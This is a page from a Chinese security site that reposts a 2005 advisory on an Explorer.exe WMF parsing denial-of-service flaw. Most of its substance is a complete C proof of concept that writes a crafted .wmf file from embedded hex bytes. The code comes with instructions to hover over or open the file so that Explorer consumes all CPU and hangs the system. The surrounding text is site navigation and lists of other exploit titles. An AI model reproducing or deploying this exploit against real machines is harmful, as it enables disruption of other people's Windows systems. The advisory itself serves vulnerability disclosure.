首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Explorer.exe WMF Parsing DoS
来源:liquid@cyberspace.org 作者:liquid 发布时间:2005-04-19  

Explorer.exe WMF Parsing DoS

Summary
A crafted .WMF file cause the Explorer.exe process to use 100% of CPU and can cause the system to hang until the process is killed.

Credit:
The information has been provided by Nick H.
The original report for this a advisory can be found at: http://www.securiteam.com/windowsntfocus/5CP081FFFY.html

Details
Exploit:
/*
* Created by: RiP
* This is a proof of concept for the WMF parsing bug (this has not yet been patched by Microsoft)
* Credits go to liquid (liquid@cyberspace.org)
* Tested on: Windows XP SP1 and Windows 2000 SP4
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char hexcode[]=

"\xD7\xCD\xC6\x9A\x00\x00\x00\x00\x00\x00\xA1\x21\xEC\x29\xEC\x09"
"\x00\x00\x00\x00\xB0\x56\x01\x00\x09\x00\x00\x03\x0E\x00\x00\x00"
"\x01\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x02\x00\x00"
"\x00\x00";

int main(int argc,char *argv[]) {
FILE *wmffile;

if (argc < 2) {
printf("Syntax: %s <filename.wmf>\n", argv[0]);
exit(1);
}

if (!(wmffile = fopen(argv[1],"wb"))) {
printf("Error opening %s\n", argv[1]);
} else {
fwrite(hexcode,1,sizeof(hexcode),wmffile);
fclose(wmffile);
printf("Specially crafted .wmf file\n");
printf("Double click or move the mouse over the file in windows explorer\n");
printf("Then press CTRL+SHIFT+ESC (notice the 100%) and terminate Explorer.EXE\n");
}

return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Serendipity exit.php SQL Injec
·sphpblog多个输入验证漏洞
·Microsoft Windows IP Validatio
·PostgreSQL 8.x PL/PgSQL Remote
·Mozilla Suite and Firefox favi
·PMSoftware Simple Web Server R
·Mozilla Firefox Sidebar Code E
·Microsoft Exchange Server Remo
·Sendmail <= 8.12.9 remote e
·UBB Threads printthread.php Re
·Sumus v0.2.2 httpd Component R
·WheresJames Webcam Publisher R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved